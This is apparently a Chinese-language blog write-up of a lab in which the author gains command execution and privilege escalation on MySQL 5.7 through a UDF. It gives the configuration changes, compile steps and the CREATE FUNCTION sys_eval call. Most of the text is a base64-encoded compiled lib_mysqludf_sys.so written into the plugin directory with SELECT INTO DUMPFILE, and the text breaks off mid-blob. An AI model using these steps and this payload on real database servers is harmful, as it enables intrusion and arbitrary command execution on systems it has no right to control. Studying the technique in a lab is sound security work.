網上有很多在mysql中通過udf提權或者getshell的教程，但在我實驗過程中遇到了很多阻礙，所以用這篇文章記錄下我克服種種困難完成實驗的過程
實驗
實驗環境
ubuntu18.04
mysql5.7
將secure_file_priv設置為空
進入mysql命令行，先執行SHOW VARIABLES LIKE "secure_file_priv";
默認為null，就是不能對任意文件夾下的文件進行讀寫操作。
修改/etc/mysql/cmy.cnf文件，在文件的末尾添加如下內容，然后執行service mysql restart重啟mysql服務
[mysqld]
secure_file_priv=
此時再執行SHOW VARIABLES LIKE "secure_file_priv"; ，結果就會為空
此時代表着能在有權限的任意文件夾下讀寫文件
寫入.so文件
執行show variables like 'plugin_dir';或者select @@plugin_dir; 查詢mysql插件目錄，找到要上傳惡意.so文件的目錄
默認plugin文件夾只有root用戶有可寫權限
查詢mysql所在系統和系統位數以選擇相應payload
select @@version_compile_os, @@version_compile_machine;
不同系統下的udf文件：https://github.com/mysqludf/lib_mysqludf_sys
法一：直接將文件復制過去
從github上將文件下載下來后，將lib_mysqludf_sys.so拷貝到plugin_dir目錄下，需要root權限（假設你想用udf提權，普通用戶沒有權限將.so文件放到plugin_dir目錄下，自然也就沒有辦法提權成功）
執行mysql語句create function sys_eval returns string soname 'lib_mysqludf_sys.so'
失敗了，目測是這個.so文件不太行，所以我們自己編譯。
把上面github中下載的Makefile和lib_mysqludf_sys.c放在同一個目錄下。把Makefile文件內容改成下面的內容
nstall:
gcc -Wall -I/usr/include/mysql -I. -shared -fPIC lib_mysqludf_sys.c -o ./lib_mysqludf_sys.so
在該目錄下運行make，得到lib_mysqludf_sys.so文件。如果報錯，可能是少裝了libmysqlclient-dev，裝上就行：sudo apt install libmysqlclient-dev，裝完再編譯
將自己編譯的lib_mysqludf_sys.so復制到plugin_dir目錄下，再執行sql語句
此時成功創建了sys_eval函數，執行命令
當然，並沒有這么順利。一開始執行命令發現並沒有回顯內容，經過判斷，確實是沒有成功執行命令。原因是apparmor，下面有寫繞過的方法
法二：通過select into outfile寫入文件
直接通過select xxx into outfile 往plugin_dir目錄寫入文件會顯示權限不足，所以無法通過這個方法寫入.so文件，自然也就無法通過udf來getshell或者提權
為了完成實驗，修改plugin_dir目錄權限為777
先將文件轉換為16進制或者base64，再用select 'XXX' into dumpfile將16進制的文件寫入plugin_dir。這兒不用select 'XXX' into outfile 是因為outfile函數可以導出多行，而dumpfile只能導出一行數據。outfile函數在將數據寫到文件里時有特殊的格式轉換，而dumpfile則保持原數據格式。如果用outfile原來的文件格式就變了，所以得用dumpfile。
16進制失敗了，可能是我轉換的不太對，所以我用了base64做實驗
執行如下命令寫入文件：
select "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TeBIi0XwSItAEEiLAEiJx+h3+f//SJjJw1VIieVIiX3oSIl14EiJVdjHRfwAAAAASItF4IsAg/gBdR9Ii0XgSItACItV/EjB4gJIAdCLAIXAdQe4AAAAAOtYSItF2Ei+RXhwZWN0ZWRIvyBleGFjdGx5SIkwSIl4CEi+IG9uZSBzdHJIv2luZyB0eXBlSIlwEEiJeBhIuSBwYXJhbWV0SIlIIGbHQChlcsZAKgC4AQAAAF3DVUiJ5UiJffiQXcNVSInlSIHsYAQAAEiJvcj7//9IibXA+///SImVuPv//0iJjbD7//9MiYWo+///TImNoPv//2RIiwQlKAAAAEiJRfgxwL8BAAAA6L/4//9IiYW4+///SMeF2Pv//wAAAABIi4XA+///SItAEEiLAEiNNTkBAABIicfosPj//0iJheD7///reUiNhfD7//9IicfoGPj//0iJhej7//9Ii5XY+///SIuF6Pv//0gBwkiLhbj7//9IidZIicfoXvj//0iJhbj7//9Ii5W4+///SIuF2Pv//0iNDAJIi5Xo+///SI2F8Pv//0iJxkiJz+ic9///SIuF6Pv//0gBhdj7//9Ii5Xg+///SI2F8Pv//74ABAAASInH6NP3//9IhcAPhWP///9Ii4Xg+///SInH6Kv3//9Ii4W4+///D7YAhMB0CkiDvbj7//8AdQxIi4Wo+///xgAB6zBIi5W4+///SIuF2Pv//0gB0MYAAEiLhbj7//9IicfoNPf//0iJwkiLhbD7//9IiRBIi4W4+///SItN+GRIMwwlKAAAAHQF6Bz3///JwwAASIPsCEiDxAjDcgAAARsDO5AAAAARAAAArPb//6wAAACM9///1AAAAHb4///sAAAA/fj//wwBAAAI+f//LAEAAHP5//9MAQAABPr//2wBAAAP+v//jAEAAHL6//+sAQAAzvv//8wBAAD6+///7AEAANT8//8MAgAAb/3//ywCAAB6/f//TAIAAKn9//9sAgAARP7//4wCAABP/v//rAIAABQAAAAAAAAAAXpSAAF4EAEbDAcIkAEAACQAAAAcAAAA+PX//+AAAAAADhBGDhhKDwt3CIAAPxo7KjMkIgAAAAAUAAAARAAAALD2//8IAAAAAAAAAAAAAAAcAAAAXAAAAIL3//+HAAAAAEEOEIYCQw0GAoIMBwgAABwAAAB8AAAA6ff//wsAAAAAQQ4QhgJDDQZGDAcIAAAAHAAAAJwAAADU9///awAAAABBDhCGAkMNBgJmDAcIAAAcAAAAvAAAAB/4//+RAAAAAEEOEIYCQw0GAowMBwgAABwAAADcAAAAkPj//wsAAAAAQQ4QhgJDDQZGDAcIAAAAHAAAAPwAAAB7+P//YwAAAABBDhCGAkMNBgJeDAcIAAAcAAAAHAEAAL74//9cAQAAAEEOEIYCQw0GA1cBDAcIABwAAAA8AQAA+vn//ywAAAAAQQ4QhgJDDQZnDAcIAAAAHAAAAFwBAAAG+v//2gAAAABBDhCGAkMNBgLVDAcIAAAcAAAAfAEAAMD6//+bAAAAAEEOEIYCQw0GApYMBwgAABwAAACcAQAAO/v//wsAAAAAQQ4QhgJDDQZGDAcIAAAAHAAAALwBAAAm+///LwAAAABBDhCGAkMNBmoMBwgAAAAcAAAA3AEAADX7//+bAAAAAEEOEIYCQw0GApYMBwgAABwAAAD8AQAAsPv//wsAAAAAQQ4QhgJDDQZGDAcIAAAAHAAAABwCAACb+///owEAAABBDhCGAkMNBgOeAQwHCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHAMAAAAAAAAMAwAAAAAAAABAAAAAAAAAKIBAAAAAAAADAAAAAAAAACQCgAAAAAAAA0AAAAAAAAA+BMAAAAAAAAZAAAAAAAAABAeIAAAAAAAGwAAAAAAAAAIAAAAAAAAABoAAAAAAAAAGB4gAAAAAAAcAAAAAAAAAAgAAAAAAAAA9f7/bwAAAADwAQAAAAAAAAUAAAAAAAAAOAYAAAAAAAAGAAAAAAAAAKgCAAAAAAAACgAAAAAAAADlAQAAAAAAAAsAAAAAAAAAGAAAAAAAAAADAAAAAAAAAAAgIAAAAAAAAgAAAAAAAAA4AQAAAAAAABQAAAAAAAAABwAAAAAAAAAXAAAAAAAAAFgJAAAAAAAABwAAAAAAAACwCAAAAAAAAAgAAAAAAAAAqAAAAAAAAAAJAAAAAAAAABgAAAAAAAAA/v//bwAAAABwCAAAAAAAAP///28AAAAAAQAAAAAAAADw//9vAAAAAB4IAAAAAAAA+f//bwAAAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgHiAAAAAAAAAAAAAAAAAAAAAAAAAAAADGCgAAAAAAANYKAAAAAAAA5goAAAAAAAD2CgAAAAAAAAYLAAAAAAAAFgsAAAAAAAAmCwAAAAAAADYLAAAAAAAARgsAAAAAAABWCwAAAAAAAGYLAAAAAAAAdgsAAAAAAACGCwAAAAAAAIAgIAAAAAAAR0NDOiAoVWJ1bnR1IDcuNS4wLTN1YnVudHUxfjE4LjA0KSA3LjUuMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAAQDIAQAAAAAAAAAAAAAAAAAAAAAAAAMAAgDwAQAAAAAAAAAAAAAAAAAAAAAAAAMAAwCoAgAAAAAAAAAAAAAAAAAAAAAAAAMABAA4BgAAAAAAAAAAAAAAAAAAAAAAAAMABQAeCAAAAAAAAAAAAAAAAAAAAAAAAAMABgBwCAAAAAAAAAAAAAAAAAAAAAAAAAMABwCwCAAAAAAAAAAAAAAAAAAAAAAAAAMACABYCQAAAAAAAAAAAAAAAAAAAAAAAAMACQCQCgAAAAAAAAAAAAAAAAAAAAAAAAMACgCwCgAAAAAAAAAAAAAAAAAAAAAAAAMACwCQCwAAAAAAAAAAAAAAAAAAAAAAAAMADACgCwAAAAAAAAAAAAAAAAAAAAAAAAMADQD4EwAAAAAAAAAAAAAAAAAAAAAAAAMADgABFAAAAAAAAAAAAAAAAAAAAAAAAAMADwAEFAAAAAAAAAAAAAAAAAAAAAAAAAMAEACYFAAAAAAAAAAAAAAAAAAAAAAAAAMAEQAQHiAAAAAAAAAAAAAAAAAAAAAAAAMAEgAYHiAAAAAAAAAAAAAAAAAAAAAAAAMAEwAgHiAAAAAAAAAAAAAAAAAAAAAAAAMAFADgHyAAAAAAAAAAAAAAAAAAAAAAAAMAFQAAICAAAAAAAAAAAAAAAAAAAAAAAAMAFgCAICAAAAAAAAAAAAAAAAAAAAAAAAMAFwCIICAAAAAAAAAAAAAAAAAAAAAAAAMAGAAAAAAAAAAAAAAAAAAAAAAAAQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAADAAAAAIADACgCwAAAAAAAAAAAAAAAAAADgAAAAIADADgCwAAAAAAAAAAAAAAAAAAIQAAAAIADAAwDAAAAAAAAAAAAAAAAAAANwAAAAEAFwCIICAAAAAAAAEAAAAAAAAARgAAAAEAEgAYHiAAAAAAAAAAAAAAAAAAbQAAAAIADABwDAAAAAAAAAAAAAAAAAAAeQAAAAEAEQAQHiAAAAAAAAAAAAAAAAAAmAAAAAQA8f8AAAAAAAAAAAAAAAAAAAAAAQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAAqwAAAAEAEADQFgAAAAAAAAAAAAAAAAAAAAAAAAQA8f8AAAAAAAAAAAAAAAAAAAAAuQAAAAEAFgCAICAAAAAAAAAAAAAAAAAAxgAAAAEAEwAgHiAAAAAAAAAAAAAAAAAAzwAAAAAADwAEFAAAAAAAAAAAAAAAAAAA4gAAAAEAFgCIICAAAAAAAAAAAAAAAAAA7gAAAAEAFQAAICAAAAAAAAAAAAAAAAAABAEAABIAAAAAAAAAAAAAAAAAAAAAAAAAGAEAABIAAAAAAAAAAAAAAAAAAAAAAAAAKgEAABIAAAAAAAAAAAAAAAAAAAAAAAAAPwEAACAAAAAAAAAAAAAAAAAAAAAAAAAAWwEAABIADAAIDgAAAAAAAAsAAAAAAAAAagEAABIADAB+EQAAAAAAAC8AAAAAAAAAcwEAABIADADYEAAAAAAAAJsAAAAAAAAAgQEAABIAAAAAAAAAAAAAAAAAAAAAAAAAlQEAABAAFgCIICAAAAAAAAAAAAAAAAAAnAEAABIADQD4EwAAAAAAAAAAAAAAAAAAogEAABIAAAAAAAAAAAAAAAAAAAAAAAAAtgEAABIAAAAAAAAAAAAAAAAAAAAAAAAA0gEAABIAAAAAAAAAAAAAAAAAAAAAAAAA5gEAABIAAAAAAAAAAAAAAAAAAAAAAAAA+gEAABIAAAAAAAAAAAAAAAAAAAAAAAAADQIAABIADABTEgAAAAAAAKMBAAAAAAAAFgIAABIADAATDgAAAAAAAGMAAAAAAAAAHgIAACAAAAAAAAAAAAAAAAAAAAAAAAAALQIAABIADAD+DwAAAAAAANoAAAAAAAAANQIAABIAAAAAAAAAAAAAAAAAAAAAAAAASAIAABIADAAMDQAAAAAAAGsAAAAAAAAAXgIAABIAAAAAAAAAAAAAAAAAAAAAAAAAcgIAABIADAABDQAAAAAAAAsAAAAAAAAAjwIAABIADAB2DgAAAAAAAFwBAAAAAAAAnAIAABAAFwCQICAAAAAAAAAAAAAAAAAAoQIAABIADABIEgAAAAAAAAsAAAAAAAAAsQIAABIAAAAAAAAAAAAAAAAAAAAAAAAAxgIAABAAFwCIICAAAAAAAAAAAAAAAAAA0gIAABIAAAAAAAAAAAAAAAAAAAAAAAAA5QIAABIADADSDwAAAAAAACwAAAAAAAAA9AIAABIADABzEQAAAAAAAAsAAAAAAAAABAMAABIADACtEQAAAAAAAJsAAAAAAAAAEgMAABIADAB3DQAAAAAAAJEAAAAAAAAAHwMAACAAAAAAAAAAAAAAAAAAAAAAAAAAOQMAACIAAAAAAAAAAAAAAAAAAAAAAAAAewEAABIACQCQCgAAAAAAAAAAAAAAAAAAVQMAABIADAB6DAAAAAAAAIcAAAAAAAAAAGNydHN0dWZmLmMAZGVyZWdpc3Rlcl90bV9jbG9uZXMAX19kb19nbG9iYWxfZHRvcnNfYXV4AGNvbXBsZXRlZC43Njk4AF9fZG9fZ2xvYmFsX2R0b3JzX2F1eF9maW5pX2FycmF5X2VudHJ5AGZyYW1lX2R1bW15AF9fZnJhbWVfZHVtbXlfaW5pdF9hcnJheV9lbnRyeQBsaWJfbXlzcWx1ZGZfc3lzLmMAX19GUkFNRV9FTkRfXwBfX2Rzb19oYW5kbGUAX0RZTkFNSUMAX19HTlVfRUhfRlJBTUVfSERSAF9fVE1DX0VORF9fAF9HTE9CQUxfT0ZGU0VUX1RBQkxFXwBnZXRlbnZAQEdMSUJDXzIuMi41AGZyZWVAQEdMSUJDXzIuMi41AHN0cm5jcHlAQEdMSUJDXzIuMi41AF9JVE1fZGVyZWdpc3RlclRNQ2xvbmVUYWJsZQBzeXNfZ2V0X2RlaW5pdABzeXNfZXhlYwBzeXNfZXhlY19pbml0AHNldGVudkBAR0xJQkNfMi4yLjUAX2VkYXRhAF9maW5pAHN0cmxlbkBAR0xJQkNfMi4yLjUAX19zdGFja19jaGtfZmFpbEBAR0xJQkNfM